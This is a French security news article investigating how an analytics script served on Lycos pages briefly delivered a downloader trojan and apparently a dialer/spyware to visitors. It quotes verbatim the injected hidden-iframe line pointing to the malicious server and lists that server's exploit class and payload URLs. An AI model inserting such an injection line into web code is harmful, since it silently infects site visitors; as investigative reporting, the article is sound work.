Publié le 10-07-2005 à 00:00:00 dans le thème Réseau - Sécurité

Pays : International - Auteur : Damien Bancal

Pub : Tous les logiciels firewall gratuits disponibles sur Internet

Sylla1337 est un surfeur comme il en existe des millions sur Internet. Seulement, lui, il s'est étonné de l'étrange manége de son ordinateur alors qu'il visitait le portail Lycos France. "Je me baladais sur http://www.multimania.lycos.fr/ quand tout à coup un programme a tenté de se connecter à Internet. C'est plutôt louche, je refuse d'autant plus que le programme en question s'appelait bla.exe. Je fais une recherche sur mon disque dur et je découvre ce fameux bla.exe."
Nous allons suivre l'itinéraire emprunté par Sylla1337. Depuis, une question nous taraude : DDB, Lycos et RedSheriff ont-ils servi à un piratage de masse visant plusieurs dizaines de millions d'Internautes ?

Notre aventure débute avec deux nvigateurs tests, Firefox et Internet Explorer. Ils vont nous permettre de débuter notre enquête. Pour cela, nous allons tester cette étrange intrusion à partir de trois machines. La premiére n'a pas d'antivirus. La seconde est équipée de Norton Antivirus 2005. La troisième machine est installée avec Bitdefenders pro 8. Premiére constatation, en nous rendant sur Lycos, effectivement, un programme tente de s'initier dans nos trois ordinateurs. Bitdefenders va d'ailleurs nous alerter d'une tentative d'intrusion par le cheval de Troie BehavesLike:Trojan.Downloader.

Les logs du firewall

Norton ne va rien détecter et la code malicieux va s'installer sur les deux autres PC. Un petit logiciel de quelques kilos octets, bla.exe, a été installé sur le disque dur principal, C:/. "J'ai effectué des tests depuis deux sites hébergés chez Multimania Lycos et depuis le portail de Lycos. Les résultats sont identiques. Le téléchargement se fait à partir du script qui est installé en bas de page de Lycos. Un script qui est aussi imposé dans les pages personnelles. Il est à rajouter en bas de page" confie Salyy1337. Effectivement, dans le code source de ce script, il est baptisé V5.js, nous y reviendrons, apparaît la signature de la société australienne Redsheriff : "// RedSheriff Customer Intelligence - V5 // COPYRIGHT 2003 RedSheriff Limited."

Sheriff, fais-moi peur
RedSheriff est l'un des principaux fournisseurs mondiaux de données sur le recensement des visites d'Internet axé sur les sites. Cette société appartient aujourd'hui à Nielsen//NetRatings. Un géant de l'Internet spécialisé dans le placement rapide et efficace de publicités, panneaux et autres sites intégrés pour les solutions de recensement des visites d'Internet. De là à dire que Redsheriff utilise des méthodes illégales pour obtenir des informations sur les visiteurs il y a un grand pas. Et nous allons le franchir avec ce qui va suivre.

En regardant de plus prêt le code source de Lycos, il faut savoir que c'est l'ensemble des Lycos en Europe qui portent ce code, on découvre en fin de page qu'un Java Script (V5.JS) est exécuté via un serveur de Redsheriff (http://secure-uk.imrworldwide.com/v5.js). A noter que ce code java est appelé sur l'ensemble des serveurs Lycos de part le monde. Fait plutôt troublant, lors de nos tests, nous avons effectuées deux visites. La premiére, vendredi jour de l'alerte de notre lecteur, et le samedi aprés-midi suivant. Durant ces 24 heures, le code v5.js avait changé. Une ligne avait disparu. Vous nous connaissez, nous sauvegardons pour analyse, surtout quand un doute nous assaille. La ligne était la suivante : if(_rsCT=='modem')document.write('<iframe style="visibility:hidden" width=0 eight=0 src="http://209.225.34.37/c/"></iframe>');

L'ip donné dans cette ligne "fantôme" renvoyait sur un autre serveur qui allait chercher le fameux programme Bla.exe. Même si le code source de v5.js a changé, le serveur "pirate" lui est toujours actif et nous a permis de confirmer que nous n'avions pas rêvé. Nous avons décortiqué nos deux Bla.exe récupérés sur les deux machines tests qui ont laissé passé l'intru. Nous avons aussi travaillé sur le fichier de Sylla1337. Première constatation, les trois Bla.exe sont identiques. Une fois exécutés, ils vont chercher un second programme, tout aussi infecté, baptisé w.exe. Voilà qui commence à faire beaucoup pour une société qui n'est censé diffuser que des cookies pour des analyses marketing et autres diffusions publicitaires. Etonnant méthode, d'autant plus qu'apparaît dans ce grand merdier électronique une agence de publicité connue mondialement, DDB WorldWide.

Que viennent donc faire ces vendeurs de rêve dans cette intrusion informatique, qui pour rappel est punie par la loi ? DDB WorldWide est le propriétaire du serveur ayant pour mission d'infecter les machines de visiteurs. Comme le montre notre capture écran ci-dessus, l'adresse http://209.225.34.37, renvoie sur une page en construction de la société DDB WorldWide. Fait bizarre, le serveur officiel de DDB est nommé Tribal DDB, on peut d'ailleur y trouver un site de l'US Air Force ou encore de Pepsi Cola. Quel est donc ce mystérieux serveur en construction hébergé, lui, chez Savvis ?

En regardant de plus prêt les informations des codes sources de V5.js et de Bla.exe nous arrivons donc sur http://209.225.34.37/c/ et http://209.225.34.37/c/l.php. Dans ce second cas, le fichier PHP a disparu (Nous l'avons sauvegardé, ndr), l'applet qu'il téléchargeait était doté d'une fonction "doShit". Cette fonction avait pour mission de perturber les sécurités Java de l'ordinateur cible. Elle permettait de télécharger, entre autre, le programme my.class, nous allons y revenir. Deux autres class sont encore disponible sur le serveur Savvis de DDB : http://209.225.34.37/c/jvm.class et http://209.225.34.37/c/Beyond.class. Ces deux fichiers utilisent aussi l'exploit cité ci-dessus. Pour le Beyond.class, par exemple, nous avons découvert qu'il permet d'outrepasser les sécurités de Windows. Un .Class qui va, lui aussi, chercher my.class (http://209.225.34.37/c/d/my.class) qui n'est rien d'autre que notre fameux trojan bla.exe.

Le fichier w.exe est encore plus étrange (Voir notre capture ci-dessus, ndr). En le désassemblant nous nous retrouvons avec un merdier numérique difficilement compréhensible à notre niveau. Chose est certaine, nous avons à faire au cheval de Troie Trojan.Small.bce. Ce fichier fait appel à la base de registre mais également à la librairie WININET et à sa fonction OpenInternetA. Ce qui nous semble plus inquiétant est l'ensemble des mots inscrits dans ce code : "Internet Explorer", "dial" ou encore "phone". Sans parler des accés à c:\winamp.exe ou encore c:\winampa.exe.

Bref, nous avons à faire, semble-t-il, à des techniques employées pour diffuser et installer des dialers, ces petits programmes qui déconnectent les internautes ayant encore un modem 56 K pour les diriger vers une ligne sur-taxée. Pour en savoir plus sur ces dialers, voir nos divers reportages sur le sujet, ici, ici ou encore ici.

Bla, bla, bla technique
Bla.exe, charge la fonction URLDownloadToFileA de URLMON.DLL et télécharge informations à partir de l'IP de DDB de Savvis. A noter tout de meme que le nom de la fonction URLDownloadToFileA et l'url de téléchargement sont cryptées dans l'executable. Preuve qu'il y a tentative de cacher l'acte et la mission de cette intrusion.

W.exe, est un executable de type spyware, compacté (packé) avec un logiciel de type UPX modifié. Une fois décompacté, depacké, on y voit un peu plus clair, mais là encore subsistent des chaines cachées et/ou encryptées. Pourquoi ? Nous n'avons pas la réponse. Le code est assez difficile en raison de certaines techniques de programmation employées. Chose est certaine ces programmes sont fait pour collecter des informations sur le serfeur infecté comme des données personnels et aussi aux connections d'accés reseaux, dont il envoie toutes les caracteristiques à ses maîtres.

Même pas peur ? En fait si, beaucoup !
Voilà qui est loin d'être rassurant, n'est ce pas ? Chose est certaine, notre découverte approuve l'analyse de Symantec de novembre 2004 expliquant de 76 % des Pc de la planéte étaient infectés par un spyware (lire). Encore moins rassurant, ce fameux v5.js qui a permis les intrusions est installé sur l'ensemble des sites Lycos de part la planéte. Soit des millions de victimes potentielles. Sans parler des autres portails qui utilisent le code de RedSheriff. En attendant, plusieurs questions nous restent à l'esprit : Lycos a diffusé des outils que l'on peut considérer comme pirate sans le savoir ? De puis combien de temps ? Les Australiens de RedSheriff sont-ils au courant que leur client américain de DDB WorldWide diffuse un cheval de Troie en utilisant leur code source comme vecteur d'accés ? La société DDB WorldWide a-t-elle été piratée ? Beaucoup de questions que nous avons posé aux interressés.

Suite...
Comme a son accoutumé l'équipe de Lycos France a réagi vite et bien. Le Directeur Technique Lycos France, pour la partie portail internet, a lancé une enquête interne. Nous lui avons transmis toutes les données en notre possession. "Nous souhaitons avoir le maximum d'informations pour aboutir à quelque chose de concret le plus rapidement possible", nous a-t-il confié.

Ps : Nous gardons à disposition les codes sources, fichiers infectés et captures écrans.

Tweet

L´ANSSI recrute de manière originale

06-02-2012 à 19:16 - 0 commentaire(s)

INFO ZATAZ - L´Agence Nationale de la Sécurité des Système d'Information lance un recrutement fort sympathique pour les amateurs de chiffrement.

Nouvelle attaque à l´encontre des clients du Crédit Agricole

05-02-2012 à 10:43 - 0 commentaire(s)

INFO ZATAZ - Nouvelle tentative de vol de données bancaires appartenant aux clients de la banque française Crédit Agricole.

Sauvegarde des conversations téléphoniques pour France télévision

04-02-2012 à 11:42 - 0 commentaire(s)

INFO ZATAZ - Un document intéressant mis à jour sur Internet visant les sociétés souhaitant faire du business avec France Télévision.

Faille sur le site Wikileaks

04-02-2012 à 11:27 - 0 commentaire(s)

INFO ZATAZ - Une faille sur le site Wikileaks permet d´afficher n´importe quoi, donc de fausses informations, sur le portail international d´information.

Piège sur Facebook

04-02-2012 à 10:59 - 0 commentaire(s)

INFO ZATAZ - Un escroc se fait passer pour Coca Cola, sur Facebook, afin de mettre la main sur vos données privées.

Arnaque aux logements

04-02-2012 à 10:53 - 0 commentaire(s)

INFO ZATAZ - Depuis quelques heures, un escroc tente de louer de faux appartements en région parisienne. ZATAZ vous l´a délogé.

Une conférence téléphonique du FBI piratée par des Anonymous

04-02-2012 à 10:21 - 1 commentaire(s)

INFO ZATAZ - Une conférence téléphonique entre FBI et plusieurs polices européennes, dont la France, au sujet des Anonymous, interceptée.

La Ville de Chambéry corrige une fuite de données

04-02-2012 à 10:05 - 1 commentaire(s)

INFO ZATAZ - Avec l´aide du CERTA, le site Internet de la ville de Chambéry bouche une fuite de données concernant les administrés de cette commune Française.

Faille sur le site Wikileaks

INFO ZATAZ - Une faille sur le site Wikileaks permet d´afficher n´importe quoi, donc de fausses informations, sur le portail international d´information.

La Ville de Chambéry corrige une fuite de données

INFO ZATAZ - Avec l´aide du CERTA, le site Internet de la ville de Chambéry bouche une fuite de données concernant les administrés de cette commune Française.

Prudence aux liens vers Darty et ELLE

Des vulnérabilités ont été découvertes sur les sites RueDuCommerce, Darty et du journal ELLE. Prudence aux liens exterieurs.

Quand des Anonymous tapent sur des Anonymous, ça mousse

INFO ZATAZ - Des Anonymous reprochent à d´autres Anonymous d'avoir piraté des sites appartenant à la mouvance d'extrême droite. Pour les punir, leurs identités sont diffusées sur la toile.

Les informations confidentielles de 541 policiers Français diffusées par les Anonymous

Les Anonymous diffusent sur Internet l´identités et des informations confidentielles de plusieurs centaines de policiers Français.

Faille pour Myspace

Info ZATAZ - Une vulnérabilité de type Cross-Site Scripting vise le portail communautaire MySpace.

Multiples failles pour le site économique Forbes

INFO ZATAZ - Plusieurs vulnérabilités touchent le site économique américain Forbes. Les lecteurs peuvent être touchés directement.

La ville de Béthune corrige une fuite de données

INFO ZATAZ - Une méga fuite de données permettait d´accéder à une imposante base de données appartenant à la Mairie de Béthune.